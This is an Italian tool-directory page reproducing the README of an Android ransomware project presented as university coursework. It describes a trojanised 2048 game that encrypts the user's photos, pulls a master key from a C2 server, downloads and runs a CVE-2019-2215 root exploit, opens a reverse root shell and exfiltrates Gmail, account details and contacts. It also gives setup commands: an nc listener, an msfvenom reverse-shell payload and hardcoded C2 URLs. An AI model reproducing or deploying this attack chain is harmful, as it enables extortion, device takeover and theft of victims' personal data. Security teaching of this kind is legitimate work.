Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Rootsmart-v2.0 — Sviluppo di Ransomware per Android - Crittografia AES256 + CVE-2019-2215 (reverse root shell) + Esfiltrazione dei dati | Kitploit
Strumenti/GitHubGitHub/nicchongwb/rootsmart-v2.0
Sicurezza AndroidEscalation di PrivilegiStrumenti di Crittografia/DecrittografiaExploitMovimento LateraleEsfiltrazione DatiAnalisi MalwareSicurezza MobileCommand and ControlApprendimento e FormazioneSviluppo PayloadArchived
114 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
GitHubnicchongwb/rootsmart-v2.0

Rootsmart-v2.0

Sviluppo di Ransomware per Android - Crittografia AES256 + CVE-2019-2215 (reverse root shell) + Esfiltrazione dei dati

Vedi Repository

Rootsmart 2.0 con cve-2019-2215 + Ransomware

Dichiarazione di non responsabilità

Questo progetto è esclusivamente a scopo educativo. Questo progetto utilizza codice da rkshrksh/2048-Game e kangtastic/cve-2019-2215.


Descrizione del Progetto

Questo progetto fa parte del modulo di Mobile Security del Singapore Institute of Technology. Il progetto è stato svolto in 6 settimane e l'obiettivo era sviluppare un'applicazione Android malevola. In questo modo, ci ha aiutato a imparare come sono implementati i meccanismi di sicurezza in un sistema operativo Android e come possiamo esercitare OWASP Mobile Top 10:2017 M8 - Code Tampering.

Il progetto è un proof of concept per mostrare un ransomware scritto personalizzato che utilizza la crittografia AES, sfruttando cve-2019-2215, e anche esfiltrando dati dal dispositivo infetto.

È testato su Android 10 e Google Pixel 2 XL.

root@kitploit:~
├── 2048-Game 					// Cartella del progetto Android
├── 2048-keystore				// Keystore di test
├── cve-2019-2215				// cve-2019-2215 modificato
│	└── cve-2019-2215.c
├── dropper_server				// Directory del server dropper
│	├── cve-2019-2215			// Contenuto di shells.zip prima della compressione
│	├── dropper_server.py		// Programma del server dropper
│	├── exfiltrated_data.log
│	├── masterkeys.txt
│	├── ncat.exe 				// Binario Netcat per Windows - per listener reverse shell
│	├── requirements.txt
│	├── shells.zip  			// shells.zip ospitato nella root del server dropper
│	└── venv
└── test_images    				// test_images per un facile adb push <image.ext> /sdcard/Pictures
Vettore di attacco:
  1. Installa, esegui l'applicazione e concedi le autorizzazioni
  2. Il ransomware crittograferà con AES tutti i file in /sdcard/Pictures
  3. Ogni file sarà crittografato con una chiave generata casualmente
  4. Le chiavi saranno memorizzate in /sdcard/keys.json dove ogni coppia chiave:valore è filepath:key
  5. GET HTTP al server C2 /get_mk per ottenere MasterKey e VictimID nel corpo della risposta
  6. MasterKey crittograferà keys.json, VictimID sarà memorizzato in /sdcard/victimID.txt
  7. L'applicazione scaricherà shells.zip e decomprimerà il contenuto
  8. Esegui il binario cve-2019-2215 dal contenuto decompresso
  9. Verrà generato un processo di root shell che eseguirà install.sh dal contenuto decompresso
  10. Install.sh eseguirà rs.elf dal contenuto decompresso per inviare una connessione inversa al server di attacco
  11. L'applicazione esfiltrerà la gmail del dispositivo, le informazioni sull'account utente e i contatti.
Dimostrazione

https://user-images.githubusercontent.com/56181271/155875246-092a3954-2f42-42b7-a00e-581a1bbf0546.mp4


C2 (Command & Control) - Configurazione

Per questo test, assicurati che il telefono vittima e il server C2 siano nella stessa sottorete (altrimenti ospita il C2 su internet pubblico). Ci sono 3 endpoint per il server C2 che si trovano in dropper/dropper_server.py:

  1. /process_command - GET per scaricare shells.zip ed eseguire lo sfruttamento root cve-2019-2215
  2. /get_mk - GET per ottenere la coppia chiave-valore victimID:masterkey per crittografare /sdcard/keys.json
  3. /postData - POST di gmail, contatti, informazioni account esfiltrati
Server di Reverse Shell
root@kitploit:~
nc -lvnp 1337 # Idealmente questo dovrebbe essere lo stesso IP del server dropper
Server Dropper
root@kitploit:~
# Genera payload rs.elf
msfvenom -p linux/aarch64/shell_reverse_tcp LHOST=<Attacker IP> LPORT=<Attacker Port> -f elf > rs.elf

# Meglio eseguire flask su Windows se WSL non inoltra il traffico localhost all'host Windows
cd dropper
python3 -m venv venv # Crea venv

# Attiva venv
. venv/bin/activate # Linux
venv\Scripts\activate.bat # Windows
pip install -r requirements.txt --upgrade pip # Assicurati che la shell host sia root/Amministratore

# Esegui server C2
python3 dropper_server.py # WSL
python dropper_server.py # Windows

shells.zip in /dropper

  1. Vai alla cartella dropper/cve-2019-2215
  2. Dopo aver creato rs.elf, comprimi rs.elf + cve-2019-2215, install.sh
  3. Rinomina il file zip in shells.zip
  4. Sposta shells.zip in /dropper

Modifica quanto segue prima di compilare l'APK

Classi Java

root@kitploit:~
// File : 2048-Game/app/src/main/java/aarkay/a2048game/Temproot.java
// Cambia IP e porta in base all'IP e alla porta del server dropper
String URL = "http://192.168.157.73:8080/process_command"; // Line 19

// File : 2048-Game/app/src/main/java/aarkay/a2048game/Encrypt.java
// Cambia IP e porta in base all'IP e alla porta del server dropper
String URL = "http://192.168.157.73:8080/get_mk"; // Line 45

// File : 2048-Game/app/src/main/java/aarkay/a2048game/PostData.java
// Cambia IP e porta in base all'IP e alla porta del server dropper
String urlString = "http://192.168.157.73:8080/postData"; // Line 32
Scarica lo strumento